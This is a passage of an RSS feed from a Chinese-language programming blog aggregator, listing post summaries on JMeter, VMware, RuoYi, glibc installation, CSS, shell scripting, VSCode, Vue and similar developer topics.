      <description>Jmete多组件组合实战应用 1.案例图&#xA;2.业务场景&#xA;场景描述：使用不同人员进行数据充值&#xA;（1）用计数器来控制接口中的参数 按照固定的数值去递增 从0开始 每次增加500 无数值上线&#xA;（2）获取不同用户的token并传递给其他线程组 使用正则表达式提取器提取登录成功后的token信息，使用调试后置处理程序查看数值是否提取成功，使用BeanShell 后置处理程序用于提取token的数值传递给其他线程组，在其他线程组中使用${__property(newtoken,)}调用设置的token数据，使用固定定时器来模拟请求的间隔，使用查看结果树查看接口运行是否正确，使用聚合报告查看性能测试整体结果。&#xA;（3）HTTP请求默认值用于存放公共请求的ip地址，请求协议等，读取公共的请求参数使用CSV数据文件设置，使用cookie的数据需要添加HTTP Cookie管理器，HTTP请求头放在HTTP信息头管理器组件中。</description>
    </item>
    <item>
      <title>在VMware中创建虚拟机</title>
      <link>https://bchobby.github.io/posts/89e68b1172d6acc1850cd53429bfeebe/</link>
      <pubDate>Tue, 14 Mar 2023 12:35:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89e68b1172d6acc1850cd53429bfeebe/</guid>
      <description>本文使用的VMware版本为VMware Workstation Pro 17&#xA;1、选择文件–&amp;gt;新建虚拟机&#xA;2、选择自定义（自定义配置更详细，要求不高的选典型也可）&#xA;3、硬件兼容性默认即可&#xA;4、稍后安装操作系统&#xA;5、选择自己需要安装的系统及版本&#xA;6、根据需求更改虚拟机名称及存放位置（不建议存系统盘，可以在其他盘单独创建一个目录存放虚拟机，每台虚拟机也需要单独创建文件存放，之后也方便移动。创建的虚拟机是可以持续使用的，换电脑换硬盘都可以将文件拷贝到新位置，用VMware打开即可）&#xA;7、处理器配置根据需求选择，没特别要求的默认即可&#xA;8、内存配置一般情况默认，电脑内存小的也可以调到最低推荐内存&#xA;9、网络类型根据需求选择，NAT模式可以连接外部网络；仅主机模式使用主机虚拟网络，可以建立内部局域网。使用中也可以随时修改。&#xA;10、I/0控制器类型默认&#xA;11、磁盘类型根据需求选择，若是对虚拟机性能没要求就可以选择SCSI（S），若是想要性能好点可以用NVMe(V)。&#xA;创建新虚拟磁盘；&#xA;磁盘大小根据使用需求设置，使用少的默认就行；尽量不要勾选立即分配所有磁盘空间，勾选后系统文件就会立即占用硬盘空间20G，不勾选文件大小就会随着使用情况增加。&#xA;磁盘文件默认&#xA;12、选择自定义硬件–&amp;gt;CD/DVD连接选择使用ISO映像文件–&amp;gt;地址指向需要安装的系统的镜像文件位置（系统镜像自行在网上下载）–&amp;gt;关闭–&amp;gt;完成&#xA;13.开启虚拟机安装操作系统即可&#xA;**使用中可以根据需求随时编辑虚拟机的设置</description>
    </item>
    <item>
      <title>若依框架RuoYi项目运行启动教程【傻瓜式教程】</title>
      <link>https://bchobby.github.io/posts/16c925661df684528e0fc7d152341362/</link>
      <pubDate>Tue, 14 Mar 2023 10:52:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16c925661df684528e0fc7d152341362/</guid>
      <description>💂 个人网站:【紫陌】【笔记分享网】&#xA;💅 想寻找共同学习交流、共同成长的伙伴，请点击【前端学习交流群】&#xA;启动若依项目 1.官网下载代码 若依官网&#xA;若依在线文档&#xA;首先去官网下载代码&#xA;链接到码云下载，要么用git下载要么压缩包下载。&#xA;然后再IDEA打开项目&#xA;想要运行就要搭建好环境&#xA;2.搭建若依环境 按照文档要求配置环境&#xA;JDK &amp;gt;= 1.8 (推荐1.8版本) Mysql &amp;gt;= 5.7.0 (推荐5.7版本) Maven &amp;gt;= 3.0 node &amp;gt;= 12.0 Redis &amp;gt;= 5 这些准备好了就可以开始运行了&#xA;首先创建mysql数据库并且导入数据 然后导入数据&#xA;SQL文件位置&#xA;创建数据库并且导入&#xA;导入成功就有很多表，mysql就配置完毕&#xA;现在配置Redis 下载Redis开启服务&#xA;有着图标就是开启成功&#xA;打开客户端管理工具&#xA;数据库就配置完成了。&#xA;3.运行java启动文件 在这个文件运行就可以了&#xA;出现这个表示后端运行成功了&#xA;在浏览器运行，这也表示后端运行ok的。&#xA;4.运行前端 切换到ruoyi-ui目录的终端运行 npm i 下载所有依赖&#xA;我改了后端端口号，前端也要改，你们默认8080，后端没改这里也不用改。忽略这一步。&#xA;下载完毕运行 npm run dev&#xA;然后打开看到有验证码显示就是前后搭建成功。&#xA;这样就大功告成了&#xA;制作不易，帮助到你麻烦点个赞！！！！</description>
    </item>
    <item>
      <title>ubuntu安装glibc</title>
      <link>https://bchobby.github.io/posts/0a7d5884a4fc08ff26ca5971d1f200f1/</link>
      <pubDate>Tue, 14 Mar 2023 10:34:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a7d5884a4fc08ff26ca5971d1f200f1/</guid>
      <description>Ubuntu下安装glibc 1. 安装/升级glibc2. launch.json中添加路径映射3. 调试 VSCode在ubuntu下调试无法打开libc-start.c raise.c等,一般是由于系统glibc未安装或者版本不对。&#xA;1. 安装/升级glibc 方法一（原地法）：&#xA;apt-get install glibc-source cd /usr/src/glibc/ sudo tar -xvf glibc-[VERSION].tar.xz 方法二（共存法）：&#xA;apt源不支持更高版本的glibc时也可采用此方法，如ubuntu18.04不支持glibc-2.29。&#xA;查看glibc版本：&#xA;ldd --version 安装&#xA;wget http://ftp.gnu.org/pub/gnu/glibc/glibc-2.29.tar.gz tar -zxf glibc-2.29.tar.gz cd glibc-2.29 mkdir build &amp;amp;&amp;amp; cd build apt-get install gawk bison -y ../configure --prefix=/usr/local/glibc-2.29 make -j4 make install 注：&#xA;configure最好不要加--with-headers参数，否则会遇到一些问题，因为这个参数指定make在该目录下查找库，参考linux下安装glibc-2.14——zhj失落之地CSDNinstall后不可直接删除旧版软链接，如libm.so.6等，否则会导致系统崩溃。应备份后创建同名软连接指向新版：mv /lib/x86_64-linux-gnu/libm.so.6 /lib/x86_64-linux-gnu/libm.so.6.bak ln -s /usr/local/glibc-2.29/lib/libm.so.6 /lib/x86_64-linux-gnu/libm.so.6 这里mv命令我是直接复制我执行的命令，说明mv是可以的，但鉴于评论区有人反馈出问题，所以稳妥考虑，大家可以改用cp命令 2. launch.json中添加路径映射 &#34;sourceFileMap&#34;: { &#34;/build/glibc-S7xCS9&#34;: &#34;/usr/src/glibc&#34; } 注意修改 S&amp;amp;xCS9 为报错提示中出现的glibc文件名 3. 调试 F5开启调试</description>
    </item>
    <item>
      <title>SpringCloud官方、Netflix、Alibaba组件整理</title>
      <link>https://bchobby.github.io/posts/52b9edba67a040d782cf776ba554d711/</link>
      <pubDate>Tue, 14 Mar 2023 09:32:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52b9edba67a040d782cf776ba554d711/</guid>
      <description> Spring Cloud官方NetflixAlibaba配置中心Spring Cloud ConfigArchaiusNacos注册中心EurekaNacos服务调用Spring Cloud OpenFeign、RestTemplateFeignDubbo负载均衡Spring Cloud Load BalancerRibbonDubbo服务容错HystrixSentinelAPI网关Spring Cloud GatewayZuul消息驱动Spring Cloud Stream RabbitMQ/KafkaSpring Cloud Stream RocketMQ事件总线Spring Cloud BusSpring Cloud Bus RocketMQ链路追踪Spring Cloud Sleuth分布式事务Seata分布式调度SchedulerX </description>
    </item>
    <item>
      <title>CSS基本知识点总结</title>
      <link>https://bchobby.github.io/posts/4a15c6466aa59acba7749ce6dec9a395/</link>
      <pubDate>Tue, 14 Mar 2023 09:10:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a15c6466aa59acba7749ce6dec9a395/</guid>
      <description>1、CSS简介 1.1、CSS是什么？ CSS指的是层叠样式表（Cascading Style Sheets）CSS描述了如何在屏幕、纸张或其他媒体上显示HTML元素CSS节省了大量工作。它可以同时控制多张网页布局。 1.2、CSS引入方式 引入方式书写位置作用范围使用场景内嵌式CSS写在style标签中。style标签通常放在head中当前页面小案例外联式CSS写在单独的CSS文件中，通过link标签引入多个页面项目中行内式CSS写在标签的style属性中当前标签配合js使用 2、CSS选择器 2.1、CSS基础选择器 2.1.1 ID选择器 结构：#id属性值 { css属性名: 属性值; }作用：通过id属性值，找到页面中带有这个id属性值的标签，设置样式 注意点：&#xA;所有标签上都有id属性id属性值类似于身份证号码，在一个页面中是唯一的，不可重复的一个标签上只能有一个id属性值一个id选择器只能选中一个标签 2.1.2 类选择器 结构：.class { css属性名: 属性值; }作用：通过类名，找到页面中所有带有这个类名的标签，设置样式 注意点：&#xA;所有标签上都有class属性，class属性的属性值成为类名类名可以由数字、字母、下划线、中划线组成，但不能以数字或中划线开头一个标签可以同时有多个类名，类名之前以空格隔开类名可以重复，一个类选择器可以同时选中多个标签 2.1.3 通配符选择器 结构：* { css属性名: 属性值; }作用：找到页面中所有的标签，设置样式 注意点：默认去除浏览器自带属性margin和padding&#xA;2.1.4 标签选择器 结构：标签名 { css属性名: 属性值; }作用：通过标签名，找到页面中所有这类标签，设置样式 注意点：&#xA;标签选择器选择的是一类标签，而不是单独某一个标签选择器无论嵌套关系有多深，都能找到对应的标签 2.1.5 属性选择器 属性说明[attribute]选择多有带 attribute 属性的元素[attribute=value]选择 attribute=value的所有元素[attribute~=value]选择 attribute属性包含单词 value的所有元素[attribute^=value]选择其attribute属性值以value开头的所有元素[attribute$=value]选择其attribute属性值以 value结束的所有元素[attribute*=value]选择其attribute属性中包含value子串的每个元素 结构：标签名 { css属性名: 属性值; }作用：通过标签名，找到页面中所有这类标签，设置样式 注意点：&#xA;标签选择器选择的是一类标签，而不是单独某一个标签选择器无论嵌套关系有多深，都能找到对应的标签 2.2、组合选择器 选择器作用格式示例后代选择器找后代选择器之间通过空格分隔.father .son { css }子代选择器找儿子选择器之间通过 &amp;gt;分隔.father &amp;gt; .son { css }并集选择器找到多类元素选择器之间通过,分隔div,p,span { css }交集选择器找同时满足多个选择器的元素选择器之间紧挨着p.</description>
    </item>
    <item>
      <title>路径规划算法之栅格地图绘制</title>
      <link>https://bchobby.github.io/posts/ddab89b163e6db9c8e50c01a33efe8f9/</link>
      <pubDate>Tue, 14 Mar 2023 07:00:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddab89b163e6db9c8e50c01a33efe8f9/</guid>
      <description>来源 | 古月居&#xA;01 数据地图&#xA;1.1 地图类型&#xA;1.2 栅格地图表示方式&#xA;a. 本栏路径规划利用矩阵（二维数组）来表示栅格地图（因为对于矩阵，无论MATLAB、C++还是Python，矩阵更适合数组的表达，更便于编程。）&#xA;b. 矩阵表示地图与传统意识中坐标X,Y有所区别。&#xA;如图所示的地图，在矩阵表示中，起点位置为[3,1]，终点为[3,5]，三个障碍物分别为[2,3],[3,3]和[4,3]。在坐标表示中，起点位置为(1,2)，终点为(5,2)，三个障碍物分别为(3,1),(3,2)和(3,3)&#xA;c. 矩阵表示地图还可以用线性索引来简化，这样将矩阵的二维数组表示成一位数组，编程更方便。&#xA;Tips：线性索引，是从第一列开始，沿着行按顺序增长，然后从第二列开始…，是竖着沿行增长的，而非横着沿着列增长。理解记忆有点类似于Excel表格按行递增。&#xA;02 位置的表示方法的区分&#xA;2.1 在栅格地图上绘制xy点发生的情况&#xA;对于程序&#xA;clear;close all; rows = 4; cols = 5; % 地图行列尺寸 % 设置地图属性 field = ones(rows, cols); field(1,3) = 4; % 栅格矩阵表示1,3位置图像 % 颜色表征矩阵 cmap = [1 1 1; ... % 1-白色-空地 0 0 0; ... % 2-黑色-静态障碍 1 0 0; ... % 3-红色-动态障碍 1 1 0;... % 4-黄色-起始点 1 0 1;.</description>
    </item>
    <item>
      <title>shell编程之变量置换</title>
      <link>https://bchobby.github.io/posts/eae9e3bc28fb18097c415f2356562667/</link>
      <pubDate>Mon, 13 Mar 2023 20:51:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eae9e3bc28fb18097c415f2356562667/</guid>
      <description>命令替换 取命令结果用。把命令的结果拿出来&#xA;[root@linux-server ~]# a=date +%m%d&#xA;[root@linux-server ~]# echo KaTeX parse error: Expected &#39;EOF&#39;, got &#39;#&#39; at position 29: …linux-server ~]#̲ a=(date +%m-%d)&#xA;[root@linux-server ~]# echo $a&#xA;12-25&#xA;#反引号亦可用$() 代替&#xA;变量替换 一 ${parameter:-word}&#xA;若 parameter 为空或未设置，则用 word 代替 parameter 进行替换，parameter 的值不变,若 parameter 不为空，则不替换，parameter 的值不变&#xA;#unset b&#xA;#echo ${b:-3}&#xA;-3&#xA;#echo $b&#xA;二 ${parameter:=word}&#xA;若 parameter 为空或未设置，则用 word 代替 parameter 进行替换，parameter 的值改变,若 parameter设置了，则不替换,parameter的值不变&#xA;#unset b&#xA;#echo ${b:=3}&#xA;3&#xA;#echo $b</description>
    </item>
    <item>
      <title>Linux——使用Bash shell执行命令</title>
      <link>https://bchobby.github.io/posts/dd51cc39ae293369cef87336e66ec1c0/</link>
      <pubDate>Mon, 13 Mar 2023 16:41:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd51cc39ae293369cef87336e66ec1c0/</guid>
      <description>一、基本命令语法： 命令、选项（通常以-或--开头）、参数（每个词语通过空格相互隔开，若希望在一行中键入多个命令，使用分号（；）作为分隔符） 二、简单命令：&#xA;（1）date：显示当前日期和时间；超级用户用来设置系统时钟，以加号（+）开头的参数可指定日&#xA;期命令的格式字符串&#xA;（2）passwd：更改用户自己的密码；超级用户可更改其他用户密码&#xA;（3）file：扫描文件内容开头，显示文件类型&#xA;（4）tab补全：允许用户在提示符下快速补全命令或文件名，如果字符不唯一，则可键入两次显示&#xA;（5）反斜杠字符（\）转义字符：在另一行上继续命令&#xA;（6）辅助提示符（&amp;gt;）延续提示符：延续很多行&#xA;（7）history：显示之前执行的命令的列表，带有命令编号作为前缀&#xA;（8）感叹号字符（！）：扩展之前的命令而不必重新键入它们&#xA;（9）！number：扩展至与指定编号匹配的命令&#xA;（10）！string：扩展至最近一个以指定字符串开头的命令&#xA;（11）↑和↓：可编辑历史列表中上一个或下一个命令&#xA;（12）←和→：左右移动光标&#xA;（13）Esc+.或Alt+.组合键：在光标的当前位置插入一个命令的最后一个单词，Alt+.使用起来会更加方便&#xA;（14）who、whoami、w：怎么显示当前登录的用户？&#xA;三、查看文件内容的命令： （1）cat：创建单一或多个文件，查看文件内容，串联多个文件的内容，将文件内容重新定向到终端或文件&#xA;（2）less：一次显示文件的一个页面，可以随意滚动显示；cat命令不会将文件的内容显示为多个页面，less命令允许在篇幅超过一个终端窗口适合大小的文件中向前和向后翻页，使用↑和↓可向上和向下滚动显示，q键退出&#xA;（3）more：按页显示文件内容，空格键向下翻页，支持直接跳转行&#xA;（4）head和tail：分别显示文件开头和结尾，默认显示10行，使用-n选项，可以指定行数，&#xA;例如：tail –n 3 /etc/passwd&#xA;（5）wc：计算文件中行、字、字符数量，接受-l，-w，-c选项，分别显示行数、字数、字符数&#xA;四、bash编辑命令行： ctrl+A跳到命令行的开头ctrl+E跳到命令行的末尾ctrl+U将光标处到命令行开头的内容清除ctrl+K将光标处到命令行末尾的内容清除ctrl+向左箭头跳到命令行中前一字的开头ctrl+向右箭头跳到命令行中下一字的末尾ctrl+R在历史记录中搜索某一模式的命令</description>
    </item>
    <item>
      <title>vscode下载与使用</title>
      <link>https://bchobby.github.io/posts/8ded8af8b947f66dafe3f28f6d99731a/</link>
      <pubDate>Mon, 13 Mar 2023 15:46:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ded8af8b947f66dafe3f28f6d99731a/</guid>
      <description>目录&#xA;1.vscode下载&#xA;2.推荐插件&#xA;2.1.Remote - SSH插件&#xA;2.2.Chinese(Simplified)插件&#xA;2.3.C/C++相关插件&#xA;2.4.Include AutoComplete插件&#xA;2.5.GBKtoUTF8插件&#xA;2.6.vscode-icons&#xA;2.7.koroFileHeader&#xA;2.8.GDB Debug&#xA;1.vscode下载 官网下载地址： Download Visual Studio Code - Mac, Linux, Windows 下载太慢，推荐文章： 解决VsCode下载慢问题_vscode下载太慢_迷小圈的博客-CSDN博客 下载太慢，推荐下载链接： https://vscode.cdn.azure.cn/stable/30d9c6cd9483b2cc586687151bcbcd635f373630/VSCodeUserSetup-x64-1.68.1.exe 2.推荐插件 2.1.Remote - SSH插件 介绍：远程登录操作Linux服务器的工具&#xA;下载：如下图所示，点击拓展按钮搜索Remote - SSH，点击安装即可。&#xA;链接远程主机：下载好之后左边会新增一个远程资源管理器，点击远程资源管理器点击加号Add New，点击F1输入 remote-ssh 然后回车，然后输入 ssh 用户名@主机IP地址 并回车，点击弹出来的......\.ssh\config，此时弹出添加主机成功的提示符，点击Open Config按钮，可以看到Config配置文件内容，此时左边的SSH TARGETS栏中显示了我们添加的主机。&#xA;注：主机IP地址可以在对应服务器官网查到，也可以在Xshell的会话框中查找，如下图一二所示。&#xA;删除远程主机的链接：点击远程资源管理器点击设置按钮，点击弹出来的......\.ssh\config，将打开的配置文件中对应主机IP地址和用户名删除，然后关闭并保存文件，对应远程主机链接就取消了。&#xA;登录远程主机：&#xA;右击SSH TARGETS栏中我们添加的主机，选择connect to Host Windows，选择Linux并选择continue，输入对应用户的密码并回车，此时进行链接，如果SSH TARGETS栏中我们添加的主机图标有绿色的对勾，说明链接成功。&#xA;通过Remote - SSH远程操作：&#xA;使用xshell登录dxf用户，创建一个test_vscode目录，如下图一所示。&#xA;远程登陆主机后(绑定的dxf用户)，点击打开文件夹，可以看到自动填充好了dxf用户在远端机器前面的路径，选择刚刚新建的目录test_vscode点击确定，输入dxf用户的登录密码后提示是否信任的图标，选择信任即可，如下图二所示。&#xA;经过上面的操作，在新窗口的远程资源管理器中有了TEST_VSCODE，在旧窗口的远程资源管理器中显示当前vscode在服务器中的路径，如下图三所示。&#xA;此时vscode在远端服务器的/home/dxf/test_vscode目录下，如下图一所示，点击新建文件夹，输入test.c新建文件夹名创建文件然后回车，在test.c文件中输入下图二所示的代码，ctrl+s保存，点击新建文件夹，输入test.cpp新建文件夹名创建文件，在test.cpp文件中输入下图三所示的代码，ctrl+s保存。此时打开xshell在test_vscode目录下可以看到新创建的两个文件，如下图四所示。&#xA;此时在vscode编辑文件代码ctrl+s保存后，在xshell打开对应文件可以看到编辑后的代码；在xshell中使用vim编辑文件代码wq保存后，在vscode打开对应文件也可以看到编辑后的代码。&#xA;点击新建文件夹，创建makefile文件，在makefile文件中输入下图一所示的代码，然后ctrl+s保存。此时可以在xshell中使用make命令生成可执行程序然后./mycode运行，如下图二所示。此时也可以在vscode中 ctrl+~ 打开vscode中内置命令行，然后使用make命令生成可执行程序然后./mycode运行，如下图三所示。&#xA;2.2.Chinese(Simplified)插件 介绍：翻译工具&#xA;下载：如下图所示，点击拓展按钮搜索Chinese(Simplified)，点击安装即可。</description>
    </item>
    <item>
      <title>全景插件 Photo sphere viewer</title>
      <link>https://bchobby.github.io/posts/a04a0cf88886e0b8412e5aa27364a54b/</link>
      <pubDate>Mon, 13 Mar 2023 14:16:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a04a0cf88886e0b8412e5aa27364a54b/</guid>
      <description>Photo sphere viewer全景插件的使用 官网地址：https://photo-sphere-viewer.js.org/guide/npm安装：npm install photo-sphere-viewer 在组件中的使用 首先import&#xA;import { Viewer } from &#39;photo-sphere-viewer&#39;import &#39;photo-sphere-viewer/dist/photo-sphere-viewer.css&#39;&#xA;示例代码 &amp;lt;template&amp;gt; &amp;lt;div id=&#34;photosphere&#34; class=&#34;photosphere&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import { Viewer } from &#39;photo-sphere-viewer&#39; export default { components: {}, data () { return { panoramadata: null, img: require(&#39;../../assets/南_看图王.jpg&#39;) // photosphere: &#39;photosphere&#39; } }, computed: {}, created () { }, mounted () { this.init() }, methods: { init () { this.panoramadata = new Viewer({ container: document.getElementById(&#39;photosphere&#39;), panorama: this.</description>
    </item>
    <item>
      <title>OpenCV深度图转点云</title>
      <link>https://bchobby.github.io/posts/32e1fa01a8501087a609c7d012b7113f/</link>
      <pubDate>Mon, 13 Mar 2023 14:07:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32e1fa01a8501087a609c7d012b7113f/</guid>
      <description>需要先进行畸变校正，再通过深度图转点云。&#xA;相机的相关参数需要事先通过标定获得。&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;fstream&amp;gt; #include &amp;lt;opencv2\opencv.hpp&amp;gt; int main() { cv::Mat src = cv::imread(&#34;temp/DepthdataZ.tiff&#34;, -1); //读取深度图 if (src.empty()) { return -1; } //图片长宽 int image_width = src.cols; int image_height = src.rows; //焦距、中心点 double fx = 3393.866416936082260; double fy = 3392.939030157020625; double cx = 657.783535966715249; double cy = 534.244397069343677; //镜头畸变参数 double k1 = -0.023412391369262; double k2 = -0.456621699069608; double p1 = 0.000738096195024; double p2 = 0.001507735545219; double k3 = 18.</description>
    </item>
    <item>
      <title>EDKII编译环境搭建(win11)</title>
      <link>https://bchobby.github.io/posts/8620aba03a2fbc50c17bb5dedcdcc7ac/</link>
      <pubDate>Mon, 13 Mar 2023 13:31:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8620aba03a2fbc50c17bb5dedcdcc7ac/</guid>
      <description>目前按照以下步骤已成功Windows11上编译成功，可以参照如下:&#xA;1.下载安装需要的工具&#xA;VS2017、python3.9、nasm、ASL&#xA;VS2017:&#xA;可以更改安装位置，其余默认安装。&#xA;python3.9:&#xA;安装之前勾选添加Path。&#xA;nasm下载安装:&#xA;在https://www.nasm.us/，下载安装包nasm-2.15.05-installer-x64.exe，安装到C:\nasm下。&#xA;ASL下载安装:&#xA;https://acpica.org/downloads/binary-tools&#xA;点击iASL compiler and Windows ACPI tools(ZIP 2.0 MB)下载即可，把下载的zip文件解压到C:\ASL下。&#xA;2.edk2代码下载&#xA;git clone https://github.com/tianocore/edk2.git&#xA;cd edk2&#xA;git clone https://github.com/tianocore/edk2-libc.git&#xA;git submodule update --init&#xA;3.在edk2根目录添加设置环境变量脚本path.bat:&#xA;PATH=%PATH%C:\nasm;C:\ASL;&#xA;set WORKSPACE=%CD%&#xA;set PYTHON_HOME=C:\Python27&#xA;set NASM_PREFIX=C:\nasm\&#xA;4.编译&#xA;cmd下执行:&#xA;path.bat&#xA;edksetup.bat&#xA;build -p EmulatorPkg/EmulatorPkg.dsc -t VS2017 -b DEBUG/RELEASE -a X64</description>
    </item>
    <item>
      <title>elementui table导出表格</title>
      <link>https://bchobby.github.io/posts/42b8970c3b3dbe68ea14b917783c69c0/</link>
      <pubDate>Mon, 13 Mar 2023 09:44:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42b8970c3b3dbe68ea14b917783c69c0/</guid>
      <description>需要先安装xlsx file-save&#xA;npm install --save xlsx file-saver &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-table ref=&#34;report-table&#34; :data=&#34;tableData&#34;&amp;gt; &amp;lt;/el-table&amp;gt; &amp;lt;/idv&amp;gt; &amp;lt;/template&amp;gt; import * as XLSX from &#34;xlsx&#34;; import FileSaver from &#39;file-saver&#39;; methods: { exportExcel() { try { const $e = this.$refs[&#39;report-table&#39;].$el let $table = $e.querySelector(&#39;.el-table__fixed&#39;) if (!$table) { $table = $e } const wb = XLSX.utils.table_to_book($table, {raw: true}) const wbout = XLSX.write(wb, {bookType: &#39;xlsx&#39;, bookSST: true, type: &#39;array&#39;}) FileSaver.saveAs( new Blob([wbout], {type: &#39;application/octet-stream&#39;}), `统计.xlsx`, ) } catch (e) { if (typeof console !</description>
    </item>
    <item>
      <title>Vue 3 监听元素滚动底部时加载数据并且通过节流来避免过多的事件被触发</title>
      <link>https://bchobby.github.io/posts/579e7f5d42e8b115e8f584b1cdaf4acb/</link>
      <pubDate>Mon, 13 Mar 2023 09:44:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/579e7f5d42e8b115e8f584b1cdaf4acb/</guid>
      <description>1.直接上代码，这里用了一个IntersectionObserver API，详细使用方法可以看官方文档&#xA;2.IntersectionObserver() 构造函数创建一个新对象，当它检测到目标元素的可见性已超过一个或多个阈值时，该对象将执行指定的回调函数。&#xA;3. IntersectionObserver Entry 是一个包含有关目标元素和其相对于根节点的交叉信息的对象。每次观察元素的可见性变化时IntersectionObserver 实例会将一个或多个 IntersectionObserver Entry 对象传递给其回调函数。我们可以检查这些对象的 isIntersecting 属性来确定元素是否进入或离开了视图范围&#xA;3.1IntersectionObserver Entry.isIntersecting 是 IntersectionObserver Entry 对象的一个属性，用于指示观察元素与根节点是否相交&#xA;3.2当观察元素部分或全部进入根节点（或视口）threshold: 1时，isIntersecting 属性为 true。当观察元素完全离开根节点时，该属性为 false&#xA;在懒加载等场景中，我们通常需要在元素进入视图时加载它所需的数据，因此 IntersectionObserver Entry.isIntersecting 属性非常实用&#xA;3.1&#xA;&amp;lt;template&amp;gt; &amp;lt;div ref=&#34;container&#34; style=&#34;height: 400px; overflow-y: scroll&#34;&amp;gt; &amp;lt;ul&amp;gt; &amp;lt;li v-for=&#34;(item, index) in items&#34; :key=&#34;index&#34;&amp;gt;{{ item }}&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script lang=&#34;ts&#34; setup&amp;gt; import { ref, onMounted, onBeforeUnmount } from &#39;vue&#39; import { debounce } from &#39;lodash&#39; const isLoading = ref(false) //loading const page = ref(1) const items: any = ref([]) const container: any = ref(null) //ref获取dom元素 const observer: any = ref(null) const fetchData = () =&amp;gt; { isLoading.</description>
    </item>
    <item>
      <title>Mac电脑切换node版本</title>
      <link>https://bchobby.github.io/posts/3841c538ebf45169a19be1ddcae2e83f/</link>
      <pubDate>Sun, 12 Mar 2023 23:42:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3841c538ebf45169a19be1ddcae2e83f/</guid>
      <description> Mac电脑切换不同版本的node&#xA;1.首先安装n模块： sudo npm install -g n 2.升级node.js到最新稳定版 sudo n stable 3.升级到最新版 sudo n latest 4.n后面也可以跟随版本号,升级到任意版本 sudo n v0.10.26或sudo n 0.10.26 5.切换使用版本 sudo n 7.10.0 6.删除制定版本 sudo n rm 7.10.0 7.用制定的版本执行脚本 n use 7.10.0 some.js 8.查看所有已安装的node版本 可以查看所有已安装的node版本，可以根据上下和回车选择要使用的版本&#xA;sudo n </description>
    </item>
    <item>
      <title>java: 找不到符号   符号:   方法 of(java.lang.String,java.lang.String)   位置: 接口 java.util.List</title>
      <link>https://bchobby.github.io/posts/8ace88d7003e6feb02bd8e99e3150138/</link>
      <pubDate>Sun, 12 Mar 2023 19:01:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ace88d7003e6feb02bd8e99e3150138/</guid>
      <description>在练习jdk9以后的方法“不可变的List、set、map集合”的时候，由于为我之前的版本是jdk8，所以下载了jdk17,编译过程没有任何问题，但是执行时报了错&#xA;错误：（java: 找不到符号 符号: 方法 of(java.lang.String,java.lang.String) 位置: 接口 java.util.List）&#xA;当时只是改了jdk版本&#xA;并没有改预编译器的jdk版本，这个是预编译时的java版本过低导致的&#xA;所以改了下面后就可以了</description>
    </item>
    <item>
      <title>Please enter your license to use hackbar. Get license</title>
      <link>https://bchobby.github.io/posts/745e7c7c8ac80923939e3de031543a9d/</link>
      <pubDate>Sun, 12 Mar 2023 17:15:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/745e7c7c8ac80923939e3de031543a9d/</guid>
      <description>https://addons.mozilla.org/en-US/firefox/addon/hackbar-free/</description>
    </item>
    <item>
      <title>vue3中使用svg图片</title>
      <link>https://bchobby.github.io/posts/3d8ef99bd3258d389cab29c6db0c2aa5/</link>
      <pubDate>Sun, 12 Mar 2023 16:04:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d8ef99bd3258d389cab29c6db0c2aa5/</guid>
      <description>前言 项目使用cli创建，只适用于cli项目&#xA;一、安装依赖 npm install svg-sprite-loader -D 二、修改vue.config.js const path = require(&#39;path&#39;) function resolve(dir) { return path.join(__dirname, &#39;.&#39;, dir) } module.exports = { chainWebpack: config =&amp;gt; { config.module .rule(&#39;svg&#39;) .exclude.add(resolve(&#39;src/icons&#39;)) .end() config.module .rule(&#39;icons&#39;) .test(/\.svg$/) .include.add(resolve(&#39;src/icons&#39;)) .end() .use(&#39;svg-sprite-loader&#39;) .loader(&#39;svg-sprite-loader&#39;) .options({ symbolId: &#39;icon-[name]&#39; }) .end() }, }; 3、创建SvgIcon组件，在src/components/SvgIcon/index.vue &amp;lt;template&amp;gt; &amp;lt;svg :class=&#34;svgClass&#34; aria-hidden=&#34;true&#34;&amp;gt; &amp;lt;use :xlink:href=&#34;iconName&#34; /&amp;gt; &amp;lt;/svg&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#34;SvgIcon&#34;, props: { iconClass: { type: String, required: true, }, className: { type: String, default: &#34;</description>
    </item>
    <item>
      <title>YOLOV5改进-手把手教你添加WIOU 实测高效涨点</title>
      <link>https://bchobby.github.io/posts/b833d8cac88924b53f3bf738fe3b7e03/</link>
      <pubDate>Sun, 12 Mar 2023 15:55:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b833d8cac88924b53f3bf738fe3b7e03/</guid>
